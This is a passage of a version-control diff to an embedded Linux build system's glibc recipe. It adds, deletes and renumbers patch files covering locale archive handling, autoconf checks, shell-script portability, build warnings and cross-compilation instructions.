+- strcpy (archivefname + prefix_len, ARCHIVE_NAME);
++ if (envarchive != NULL)
++ {
++ archivefname = xmalloc(strlen(envarchive) + 1);
++ fname = xmalloc(strlen(envarchive) + sizeof (".XXXXXX"));
++ strcpy (archivefname, envarchive);
++ }
++ else
++ {
++ archivefname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME));
++ fname = xmalloc(prefix_len + sizeof (ARCHIVE_NAME) + sizeof (".XXXXXX") - 1);
++ if (output_prefix)
++ memcpy (archivefname, output_prefix, prefix_len);
++ strcpy (archivefname + prefix_len, ARCHIVE_NAME);
++ }
+ strcpy (stpcpy (fname, archivefname), ".XXXXXX");
+
+ /* Not all of the old file has to be mapped. Change this now this
+@@ -568,10 +580,13 @@ open_archive (struct locarhandle *ah, bool readonly)
+ /* If ah has a non-NULL fname open that otherwise open the default. */
+ if (archivefname == NULL)
+ {
+- archivefname = default_fname;
+- if (output_prefix)
+- memcpy (default_fname, output_prefix, prefix_len);
+- strcpy (default_fname + prefix_len, ARCHIVE_NAME);
++ archivefname = getenv("LOCALEARCHIVE");
++ if (archivefname == NULL) {
++ archivefname = default_fname;
++ if (output_prefix)
++ memcpy (default_fname, output_prefix, prefix_len);
++ strcpy (default_fname + prefix_len, ARCHIVE_NAME);
++ }
+ }
+
+ while (1)
+@@ -584,7 +599,7 @@ open_archive (struct locarhandle *ah, bool readonly)
+ the default locale archive we ignore the failure and
+ list an empty archive, otherwise we print an error
+ and exit. */
+- if (errno == ENOENT && archivefname == default_fname)
++ if (errno == ENOENT)
+ {
+ if (readonly)
+ {
diff --git a/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch b/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch
deleted file mode 100644
index dd6562a631..0000000000
--- a/meta/recipes-core/glibc/glibc/0015-yes-within-the-path-sets-wrong-config-variables.patch
+++ /dev/null
@@ -1,263 +0,0 @@
-From 7c57f84bef4aaffe4204a7a354411ab3ea7e5273 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:31:06 +0000
-Subject: [PATCH 15/28] 'yes' within the path sets wrong config variables
-
-It seems that the 'AC_EGREP_CPP(yes...' example is quite popular
-but being such a short word to grep it is likely to produce
-false-positive matches with the path it is configured into.
-
-The change is to use a more elaborated string to grep for.
-
-Upstream-Status: Submitted [libc-alpha@sourceware.org]
-
-Signed-off-by: Benjamin Esquivel <benjamin.esquivel@linux.intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- sysdeps/aarch64/configure | 4 ++--
- sysdeps/aarch64/configure.ac | 4 ++--
- sysdeps/arm/configure | 4 ++--
- sysdeps/arm/configure.ac | 4 ++--
- sysdeps/mips/configure | 4 ++--
- sysdeps/mips/configure.ac | 4 ++--
- sysdeps/nios2/configure | 4 ++--
- sysdeps/nios2/configure.ac | 4 ++--
- sysdeps/unix/sysv/linux/mips/configure | 4 ++--
- sysdeps/unix/sysv/linux/mips/configure.ac | 4 ++--
- sysdeps/unix/sysv/linux/powerpc/powerpc64/configure | 8 ++++----
- sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac | 8 ++++----
- 12 files changed, 28 insertions(+), 28 deletions(-)
-
-diff --git a/sysdeps/aarch64/configure b/sysdeps/aarch64/configure
-index 5bd355a691..3bc5537bc0 100644
---- a/sysdeps/aarch64/configure
-+++ b/sysdeps/aarch64/configure
-@@ -148,12 +148,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __AARCH64EB__
-- yes
-+ is_aarch64_be
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_aarch64_be" >/dev/null 2>&1; then :
- libc_cv_aarch64_be=yes
- else
- libc_cv_aarch64_be=no
-diff --git a/sysdeps/aarch64/configure.ac b/sysdeps/aarch64/configure.ac
-index 7851dd4dac..6e9238171f 100644
---- a/sysdeps/aarch64/configure.ac
-+++ b/sysdeps/aarch64/configure.ac
-@@ -10,8 +10,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
- # the dynamic linker via %ifdef.
- AC_CACHE_CHECK([for big endian],
- [libc_cv_aarch64_be],
-- [AC_EGREP_CPP(yes,[#ifdef __AARCH64EB__
-- yes
-+ [AC_EGREP_CPP(is_aarch64_be,[#ifdef __AARCH64EB__
-+ is_aarch64_be
- #endif
- ], libc_cv_aarch64_be=yes, libc_cv_aarch64_be=no)])
- if test $libc_cv_aarch64_be = yes; then
-diff --git a/sysdeps/arm/configure b/sysdeps/arm/configure
-index 431e843b2b..e152461138 100644
---- a/sysdeps/arm/configure
-+++ b/sysdeps/arm/configure
-@@ -151,12 +151,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __ARM_PCS_VFP
-- yes
-+ use_arm_pcs_vfp
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_arm_pcs_vfp" >/dev/null 2>&1; then :
- libc_cv_arm_pcs_vfp=yes
- else
- libc_cv_arm_pcs_vfp=no
-diff --git a/sysdeps/arm/configure.ac b/sysdeps/arm/configure.ac
-index 90cdd69c75..05a262ba00 100644
---- a/sysdeps/arm/configure.ac
-+++ b/sysdeps/arm/configure.ac
-@@ -15,8 +15,8 @@ AC_DEFINE(PI_STATIC_AND_HIDDEN)
- # the dynamic linker via %ifdef.
- AC_CACHE_CHECK([whether the compiler is using the ARM hard-float ABI],
- [libc_cv_arm_pcs_vfp],
-- [AC_EGREP_CPP(yes,[#ifdef __ARM_PCS_VFP
-- yes
-+ [AC_EGREP_CPP(use_arm_pcs_vfp,[#ifdef __ARM_PCS_VFP
-+ use_arm_pcs_vfp
- #endif
- ], libc_cv_arm_pcs_vfp=yes, libc_cv_arm_pcs_vfp=no)])
- if test $libc_cv_arm_pcs_vfp = yes; then
-diff --git a/sysdeps/mips/configure b/sysdeps/mips/configure
-index 4e13248c03..f14af952d0 100644
---- a/sysdeps/mips/configure
-+++ b/sysdeps/mips/configure
-@@ -143,11 +143,11 @@ else
- /* end confdefs.h. */
- dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
- libc_cv_mips_nan2008=yes
- else
- libc_cv_mips_nan2008=no
-diff --git a/sysdeps/mips/configure.ac b/sysdeps/mips/configure.ac
-index bcbdaffd9f..ad3057f4cc 100644
---- a/sysdeps/mips/configure.ac
-+++ b/sysdeps/mips/configure.ac
-@@ -6,9 +6,9 @@ dnl position independent way.
- dnl AC_DEFINE(PI_STATIC_AND_HIDDEN)
-
- AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
-- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
-+ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
- if test x$libc_cv_mips_nan2008 = xyes; then
- AC_DEFINE(HAVE_MIPS_NAN2008)
-diff --git a/sysdeps/nios2/configure b/sysdeps/nios2/configure
-index 14c8a3a014..dde3814ef2 100644
---- a/sysdeps/nios2/configure
-+++ b/sysdeps/nios2/configure
-@@ -142,12 +142,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef __nios2_big_endian__
-- yes
-+ is_nios2_be
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_nios2_be" >/dev/null 2>&1; then :
- libc_cv_nios2_be=yes
- else
- libc_cv_nios2_be=no
-diff --git a/sysdeps/nios2/configure.ac b/sysdeps/nios2/configure.ac
-index f05f43802b..dc8639902d 100644
---- a/sysdeps/nios2/configure.ac
-+++ b/sysdeps/nios2/configure.ac
-@@ -4,8 +4,8 @@ GLIBC_PROVIDES dnl See aclocal.m4 in the top level source directory.
- # Nios II big endian is not yet supported.
- AC_CACHE_CHECK([for big endian],
- [libc_cv_nios2_be],
-- [AC_EGREP_CPP(yes,[#ifdef __nios2_big_endian__
-- yes
-+ [AC_EGREP_CPP(is_nios2_be,[#ifdef __nios2_big_endian__
-+ is_nios2_be
- #endif
- ], libc_cv_nios2_be=yes, libc_cv_nios2_be=no)])
- if test $libc_cv_nios2_be = yes; then
-diff --git a/sysdeps/unix/sysv/linux/mips/configure b/sysdeps/unix/sysv/linux/mips/configure
-index 1ee7f41a36..77e38bebde 100644
---- a/sysdeps/unix/sysv/linux/mips/configure
-+++ b/sysdeps/unix/sysv/linux/mips/configure
-@@ -414,11 +414,11 @@ else
- /* end confdefs.h. */
- dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_mips_nan2008" >/dev/null 2>&1; then :
- libc_cv_mips_nan2008=yes
- else
- libc_cv_mips_nan2008=no
-diff --git a/sysdeps/unix/sysv/linux/mips/configure.ac b/sysdeps/unix/sysv/linux/mips/configure.ac
-index 9147aa4582..7898e24738 100644
---- a/sysdeps/unix/sysv/linux/mips/configure.ac
-+++ b/sysdeps/unix/sysv/linux/mips/configure.ac
-@@ -105,9 +105,9 @@ AC_COMPILE_IFELSE(
- LIBC_CONFIG_VAR([mips-mode-switch],[${libc_mips_mode_switch}])
-
- AC_CACHE_CHECK([whether the compiler is using the 2008 NaN encoding],
-- libc_cv_mips_nan2008, [AC_EGREP_CPP(yes, [dnl
-+ libc_cv_mips_nan2008, [AC_EGREP_CPP(use_mips_nan2008, [dnl
- #ifdef __mips_nan2008
--yes
-+use_mips_nan2008
- #endif], libc_cv_mips_nan2008=yes, libc_cv_mips_nan2008=no)])
-
- libc_mips_nan=
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-index ae7f254da4..874519000b 100644
---- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure
-@@ -155,12 +155,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #if _CALL_ELF == 2
-- yes
-+ use_ppc_elfv2_abi
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "use_ppc_elfv2_abi" >/dev/null 2>&1; then :
- libc_cv_ppc64_elfv2_abi=yes
- else
- libc_cv_ppc64_elfv2_abi=no
-@@ -188,12 +188,12 @@ else
- cat confdefs.h - <<_ACEOF >conftest.$ac_ext
- /* end confdefs.h. */
- #ifdef _CALL_ELF
-- yes
-+ is_def_call_elf
- #endif
-
- _ACEOF
- if (eval "$ac_cpp conftest.$ac_ext") 2>&5 |
-- $EGREP "yes" >/dev/null 2>&1; then :
-+ $EGREP "is_def_call_elf" >/dev/null 2>&1; then :
- libc_cv_ppc64_def_call_elf=yes
- else
- libc_cv_ppc64_def_call_elf=no
-diff --git a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-index f9cba6e15d..b21f72f1e4 100644
---- a/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-+++ b/sysdeps/unix/sysv/linux/powerpc/powerpc64/configure.ac
-@@ -6,8 +6,8 @@ LIBC_SLIBDIR_RTLDDIR([lib64], [lib64])
- # Define default-abi according to compiler flags.
- AC_CACHE_CHECK([whether the compiler is using the PowerPC64 ELFv2 ABI],
- [libc_cv_ppc64_elfv2_abi],
-- [AC_EGREP_CPP(yes,[#if _CALL_ELF == 2
-- yes
-+ [AC_EGREP_CPP(use_ppc_elfv2_abi,[#if _CALL_ELF == 2
-+ use_ppc_elfv2_abi
- #endif
- ], libc_cv_ppc64_elfv2_abi=yes, libc_cv_ppc64_elfv2_abi=no)])
- if test $libc_cv_ppc64_elfv2_abi = yes; then
-@@ -19,8 +19,8 @@ else
- # Compiler that do not support ELFv2 ABI does not define _CALL_ELF
- AC_CACHE_CHECK([whether the compiler defines _CALL_ELF],
- [libc_cv_ppc64_def_call_elf],
-- [AC_EGREP_CPP(yes,[#ifdef _CALL_ELF
-- yes
-+ [AC_EGREP_CPP(is_def_call_elf,[#ifdef _CALL_ELF
-+ is_def_call_elf
- #endif
- ], libc_cv_ppc64_def_call_elf=yes, libc_cv_ppc64_def_call_elf=no)])
- if test $libc_cv_ppc64_def_call_elf = no; then
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0016-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch b/meta/recipes-core/glibc/glibc/0016-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
new file mode 100644
index 0000000000..4e51036ce5
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0016-locale-prevent-maybe-uninitialized-errors-with-Os-BZ.patch
@@ -0,0 +1,53 @@
+From c59bc6eb421ad3310c43951a11d2561bbf34e95e Mon Sep 17 00:00:00 2001
+From: Martin Jansa <martin.jansa@gmail.com>
+Date: Mon, 17 Dec 2018 21:36:18 +0000
+Subject: [PATCH] locale: prevent maybe-uninitialized errors with -Os [BZ
+ #19444]
+
+Fixes following error when building for aarch64 with -Os:
+| In file included from strcoll_l.c:43:
+| strcoll_l.c: In function '__strcoll_l':
+| ../locale/weight.h:31:26: error: 'seq2.back_us' may be used uninitialized in this function [-Werror=maybe-uninitialized]
+| int_fast32_t i = table[*(*cpp)++];
+| ^~~~~~~~~
+| strcoll_l.c:304:18: note: 'seq2.back_us' was declared here
+| coll_seq seq1, seq2;
+| ^~~~
+| In file included from strcoll_l.c:43:
+| ../locale/weight.h:31:26: error: 'seq1.back_us' may be used uninitialized in this function [-Werror=maybe-uninitialized]
+| int_fast32_t i = table[*(*cpp)++];
+| ^~~~~~~~~
+| strcoll_l.c:304:12: note: 'seq1.back_us' was declared here
+| coll_seq seq1, seq2;
+| ^~~~
+
+ Partial fix for [BZ #19444]
+ * locale/weight.h: Fix build with -Os.
+
+Upstream-Status: Submitted [https://patchwork.ozlabs.org/patch/1014766]
+
+Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ locale/weight.h | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+diff --git a/locale/weight.h b/locale/weight.h
+index 076529c0ba..2ac83657f7 100644
+--- a/locale/weight.h
++++ b/locale/weight.h
+@@ -27,7 +27,14 @@ findidx (const int32_t *table,
+ const unsigned char *extra,
+ const unsigned char **cpp, size_t len)
+ {
++ /* With GCC 8 when compiling with -Os the compiler warns that
++ seq1.back_us and seq2.back_us might be used uninitialized.
++ This uninitialized use is impossible for the same reason
++ as described in comments in locale/weightwc.h. */
++ DIAG_PUSH_NEEDS_COMMENT;
++ DIAG_IGNORE_Os_NEEDS_COMMENT (8, "-Wmaybe-uninitialized");
+ int_fast32_t i = table[*(*cpp)++];
++ DIAG_POP_NEEDS_COMMENT;
+ const unsigned char *cp;
+ const unsigned char *usrc;
+
diff --git a/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch b/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch
deleted file mode 100644
index 4d1cf31973..0000000000
--- a/meta/recipes-core/glibc/glibc/0016-timezone-re-written-tzselect-as-posix-sh.patch
+++ /dev/null
@@ -1,45 +0,0 @@
-From a74f31ea9edf105f1a6dc26497aa2a12ae736660 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:33:03 +0000
-Subject: [PATCH 16/28] timezone: re-written tzselect as posix sh
-
-To avoid the bash dependency.
-
-Upstream-Status: Pending
-
-Signed-off-by: Hongxu Jia <hongxu.jia@windriver.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- timezone/Makefile | 2 +-
- timezone/tzselect.ksh | 2 +-
- 2 files changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/timezone/Makefile b/timezone/Makefile
-index 493deca790..36e559e16c 100644
---- a/timezone/Makefile
-+++ b/timezone/Makefile
-@@ -122,7 +122,7 @@ $(testdata)/XT%: testdata/XT%
- cp $< $@
-
- $(objpfx)tzselect: tzselect.ksh $(common-objpfx)config.make
-- sed -e 's|/bin/bash|$(BASH)|' \
-+ sed -e 's|/bin/bash|/bin/sh|' \
- -e 's|TZDIR=[^}]*|TZDIR=$(zonedir)|' \
- -e '/TZVERSION=/s|see_Makefile|"$(version)"|' \
- -e '/PKGVERSION=/s|=.*|="$(PKGVERSION)"|' \
-diff --git a/timezone/tzselect.ksh b/timezone/tzselect.ksh
-index 18fce27e24..70745f9d36 100755
---- a/timezone/tzselect.ksh
-+++ b/timezone/tzselect.ksh
-@@ -34,7 +34,7 @@ REPORT_BUGS_TO=tz@iana.org
-
- # Specify default values for environment variables if they are unset.
- : ${AWK=awk}
--: ${TZDIR=`pwd`}
-+: ${TZDIR=$(pwd)}
-
- # Output one argument as-is to standard output.
- # Safer than 'echo', which can mishandle '\' or leading '-'.
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch b/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch
deleted file mode 100644
index e4f8a135d3..0000000000
--- a/meta/recipes-core/glibc/glibc/0017-Remove-bash-dependency-for-nscd-init-script.patch
+++ /dev/null
@@ -1,75 +0,0 @@
-From 95882b9864ff20e476d15c6825c83728eb99597f Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Thu, 31 Dec 2015 14:33:02 -0800
-Subject: [PATCH 17/28] Remove bash dependency for nscd init script
-
-The nscd init script uses #! /bin/bash but only really uses one bashism
-(translated strings), so remove them and switch the shell to #!/bin/sh.
-
-Upstream-Status: Pending
-
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- nscd/nscd.init | 14 +++++++-------
- 1 file changed, 7 insertions(+), 7 deletions(-)
-
-diff --git a/nscd/nscd.init b/nscd/nscd.init
-index a882da7d8b..b02986ec15 100644
---- a/nscd/nscd.init
-+++ b/nscd/nscd.init
-@@ -1,4 +1,4 @@
--#!/bin/bash
-+#!/bin/sh
- #
- # nscd: Starts the Name Switch Cache Daemon
- #
-@@ -49,7 +49,7 @@ prog=nscd
- start () {
- [ -d /var/run/nscd ] || mkdir /var/run/nscd
- [ -d /var/db/nscd ] || mkdir /var/db/nscd
-- echo -n $"Starting $prog: "
-+ echo -n "Starting $prog: "
- daemon /usr/sbin/nscd
- RETVAL=$?
- echo
-@@ -58,7 +58,7 @@ start () {
- }
-
- stop () {
-- echo -n $"Stopping $prog: "
-+ echo -n "Stopping $prog: "
- /usr/sbin/nscd -K
- RETVAL=$?
- if [ $RETVAL -eq 0 ]; then
-@@ -67,9 +67,9 @@ stop () {
- # a non-privileged user
- rm -f /var/run/nscd/nscd.pid
- rm -f /var/run/nscd/socket
-- success $"$prog shutdown"
-+ success "$prog shutdown"
- else
-- failure $"$prog shutdown"
-+ failure "$prog shutdown"
- fi
- echo
- return $RETVAL
-@@ -103,13 +103,13 @@ case "$1" in
- RETVAL=$?
- ;;
- force-reload | reload)
-- echo -n $"Reloading $prog: "
-+ echo -n "Reloading $prog: "
- killproc /usr/sbin/nscd -HUP
- RETVAL=$?
- echo
- ;;
- *)
-- echo $"Usage: $0 {start|stop|status|restart|reload|condrestart}"
-+ echo "Usage: $0 {start|stop|status|restart|reload|condrestart}"
- RETVAL=1
- ;;
- esac
---
-2.22.0
-
diff --git a/meta/recipes-core/glibc/glibc/0017-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch b/meta/recipes-core/glibc/glibc/0017-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
new file mode 100644
index 0000000000..77a2bab87d
--- /dev/null
+++ b/meta/recipes-core/glibc/glibc/0017-readlib-Add-OECORE_KNOWN_INTERPRETER_NAMES-to-known-.patch
@@ -0,0 +1,29 @@
+From 9f4fcec5662bfa6f8aa6a36dda6f4c05f6e30e51 Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 18 Mar 2015 00:11:22 +0000
+Subject: [PATCH] readlib: Add OECORE_KNOWN_INTERPRETER_NAMES to known names
+
+This bolts in a hook for OE to pass its own version of interpreter
+names into glibc especially for multilib case, where it differs from any
+other distros
+
+Upstream-Status: Inappropriate [OE specific]
+
+Signed-off-by: Lianhao Lu <lianhao.lu@intel.com>
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ elf/readlib.c | 1 +
+ 1 file changed, 1 insertion(+)
+
+diff --git a/elf/readlib.c b/elf/readlib.c
+index 64b20d7804..50318158fb 100644
+--- a/elf/readlib.c
++++ b/elf/readlib.c
+@@ -49,6 +49,7 @@ static struct known_names interpreters[] =
+ #ifdef SYSDEP_KNOWN_INTERPRETER_NAMES
+ SYSDEP_KNOWN_INTERPRETER_NAMES
+ #endif
++ OECORE_KNOWN_INTERPRETER_NAMES
+ };
+
+ static struct known_names known_libs[] =
diff --git a/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch b/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch
deleted file mode 100644
index b5efc43042..0000000000
--- a/meta/recipes-core/glibc/glibc/0018-eglibc-Cross-building-and-testing-instructions.patch
+++ /dev/null
@@ -1,619 +0,0 @@
-From 6b603d25cc5723ba631dfc60b544774db1147d81 Mon Sep 17 00:00:00 2001
-From: Khem Raj <raj.khem@gmail.com>
-Date: Wed, 18 Mar 2015 00:42:58 +0000
-Subject: [PATCH 18/28] eglibc: Cross building and testing instructions
-
-Ported from eglibc
-Upstream-Status: Pending
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
----
- GLIBC.cross-building | 383 +++++++++++++++++++++++++++++++++++++++++++
- GLIBC.cross-testing | 205 +++++++++++++++++++++++
- 2 files changed, 588 insertions(+)
- create mode 100644 GLIBC.cross-building
- create mode 100644 GLIBC.cross-testing
-
-diff --git a/GLIBC.cross-building b/GLIBC.cross-building
-new file mode 100644
-index 0000000000..e6e0da1aaf
---- /dev/null
-+++ b/GLIBC.cross-building
-@@ -0,0 +1,383 @@
-+ -*- mode: text -*-
-+
-+ Cross-Compiling GLIBC
-+ Jim Blandy <jimb@codesourcery.com>
-+
-+
-+Introduction
-+
-+Most GNU tools have a simple build procedure: you run their
-+'configure' script, and then you run 'make'. Unfortunately, the
-+process of cross-compiling the GNU C library is quite a bit more
-+involved:
-+
-+1) Build a cross-compiler, with certain facilities disabled.
-+
-+2) Configure the C library using the compiler you built in step 1).
-+ Build a few of the C run-time object files, but not the rest of the
-+ library. Install the library's header files and the run-time
-+ object files, and create a dummy libc.so.
-+
-+3) Build a second cross-compiler, using the header files and object
-+ files you installed in step 2.
-+
-+4) Configure, build, and install a fresh C library, using the compiler
-+ built in step 3.
-+
-+5) Build a third cross-compiler, based on the C library built in step 4.
-+
-+The reason for this complexity is that, although GCC and the GNU C
-+library are distributed separately, they are not actually independent
-+of each other: GCC requires the C library's headers and some object
-+files to compile its own libraries, while the C library depends on
-+GCC's libraries. GLIBC includes features and bug fixes to the stock
-+GNU C library that simplify this process, but the fundamental
-+interdependency stands.
-+
-+In this document, we explain how to cross-compile an GLIBC/GCC pair
-+from source. Our intended audience is developers who are already
-+familiar with the GNU toolchain and comfortable working with
-+cross-development tools. While we do present a worked example to
-+accompany the explanation, for clarity's sake we do not cover many of
-+the options available to cross-toolchain users.
-+
-+
-+Preparation
-+
-+GLIBC requires recent versions of the GNU binutils, GCC, and the
-+Linux kernel. The web page <http://www.eglibc.org/prerequisites>
-+documents the current requirements, and lists patches needed for
-+certain target architectures. As of this writing, these build
-+instructions have been tested with binutils 2.22.51, GCC 4.6.2,
-+and Linux 3.1.
-+
-+First, let's set some variables, to simplify later commands. We'll
-+build GLIBC and GCC for an ARM target, known to the Linux kernel
-+as 'arm', and we'll do the build on an Intel x86_64 Linux box:
-+
-+ $ build=x86_64-pc-linux-gnu
-+ $ host=$build
-+ $ target=arm-none-linux-gnueabi
-+ $ linux_arch=arm
-+
-+We're using the aforementioned versions of Binutils, GCC, and Linux:
-+
-+ $ binutilsv=binutils-2.22.51
-+ $ gccv=gcc-4.6.2
-+ $ linuxv=linux-3.1
-+
-+We're carrying out the entire process under '~/cross-build', which
-+contains unpacked source trees for binutils, gcc, and linux kernel,
-+along with GLIBC svn trunk (which can be checked-out with
-+'svn co http://www.eglibc.org/svn/trunk eglibc'):
-+
-+ $ top=$HOME/cross-build/$target
-+ $ src=$HOME/cross-build/src
-+ $ ls $src
-+ binutils-2.22.51 glibc gcc-4.6.2 linux-3.1
-+
-+We're going to place our build directories in a subdirectory 'obj',
-+we'll install the cross-development toolchain in 'tools', and we'll
-+place our sysroot (containing files to be installed on the target
-+system) in 'sysroot':
-+
-+ $ obj=$top/obj
-+ $ tools=$top/tools
-+ $ sysroot=$top/sysroot
-+
-+
-+Binutils
-+
-+Configuring and building binutils for the target is straightforward:
-+
-+ $ mkdir -p $obj/binutils
-+ $ cd $obj/binutils
-+ $ $src/$binutilsv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --with-sysroot=$sysroot
-+ $ make
-+ $ make install
-+
-+
-+The First GCC
-+
-+For our work, we need a cross-compiler targeting an ARM Linux
-+system. However, that configuration includes the shared library
-+'libgcc_s.so', which is compiled against the GLIBC headers (which we
-+haven't installed yet) and linked against 'libc.so' (which we haven't
-+built yet).
-+
-+Fortunately, there are configuration options for GCC which tell it not
-+to build 'libgcc_s.so'. The '--without-headers' option is supposed to
-+take care of this, but its implementation is incomplete, so you must
-+also configure with the '--with-newlib' option. While '--with-newlib'
-+appears to mean "Use the Newlib C library", its effect is to tell the
-+GCC build machinery, "Don't assume there is a C library available."
-+
-+We also need to disable some of the libraries that would normally be
-+built along with GCC, and specify that only the compiler for the C
-+language is needed.
-+
-+So, we create a build directory, configure, make, and install.
-+
-+ $ mkdir -p $obj/gcc1
-+ $ cd $obj/gcc1
-+ $ $src/$gccv/configure \
-+ > --target=$target \
-+ > --prefix=$tools \
-+ > --without-headers --with-newlib \
-+ > --disable-shared --disable-threads --disable-libssp \
-+ > --disable-libgomp --disable-libmudflap --disable-libquadmath \
-+ > --disable-decimal-float --disable-libffi \
-+ > --enable-languages=c
-+ $ PATH=$tools/bin:$PATH make
-+ $ PATH=$tools/bin:$PATH make install
-+
-+
-+Linux Kernel Headers
-+
-+To configure GLIBC, we also need Linux kernel headers in place.
-+Fortunately, the Linux makefiles have a target that installs them for
-+us. Since the process does modify the source tree a bit, we make a
-+copy first:
-+
-+ $ cp -r $src/$linuxv $obj/linux
-+ $ cd $obj/linux
-+
-+Now we're ready to install the headers into the sysroot:
-+
-+ $ PATH=$tools/bin:$PATH \
-+ > make headers_install \
-+ > ARCH=$linux_arch CROSS_COMPILE=$target- \
-+ > INSTALL_HDR_PATH=$sysroot/usr
-+
-+
-+GLIBC Headers and Preliminary Objects
-+
-+Using the cross-compiler we've just built, we can now configure GLIBC
-+well enough to install the headers and build the object files that the
-+full cross-compiler will need:
-+
-+ $ mkdir -p $obj/glibc-headers
-+ $ cd $obj/glibc-headers
-+ $ BUILD_CC=gcc \
-+ > CC=$tools/bin/$target-gcc \
-+ > CXX=$tools/bin/$target-g++ \
-+ > AR=$tools/bin/$target-ar \
-+ > RANLIB=$tools/bin/$target-ranlib \
-+ > $src/glibc/libc/configure \
-+ > --prefix=/usr \
-+ > --with-headers=$sysroot/usr/include \
-+ > --build=$build \
-+ > --host=$target \
-+ > --disable-profile --without-gd --without-cvs \
-+ > --enable-add-ons=nptl,libidn,../ports
-+
-+The option '--prefix=/usr' may look strange, but you should never
-+configure GLIBC with a prefix other than '/usr': in various places,
-+GLIBC's build system checks whether the prefix is '/usr', and does
-+special handling only if that is the case. Unless you use this
-+prefix, you will get a sysroot that does not use the standard Linux
-+directory layouts and cannot be used as a basis for the root
-+filesystem on your target system compatibly with normal GLIBC
-+installations.
-+
-+The '--with-headers' option tells GLIBC where the Linux headers have
-+been installed.
-+
-+The '--enable-add-ons=nptl,libidn,../ports' option tells GLIBC to look
-+for the listed glibc add-ons. Most notably the ports add-on (located
-+just above the libc sources in the GLIBC svn tree) is required to
-+support ARM targets.
-+
-+We can now use the 'install-headers' makefile target to install the
-+headers:
-+
-+ $ make install-headers install_root=$sysroot \
-+ > install-bootstrap-headers=yes
-+
-+The 'install_root' variable indicates where the files should actually
-+be installed; its value is treated as the parent of the '--prefix'
-+directory we passed to the configure script, so the headers will go in
-+'$sysroot/usr/include'. The 'install-bootstrap-headers' variable
-+requests special handling for certain tricky header files.
-+
-+Next, there are a few object files needed to link shared libraries,
-+which we build and install by hand:
-+
-+ $ mkdir -p $sysroot/usr/lib
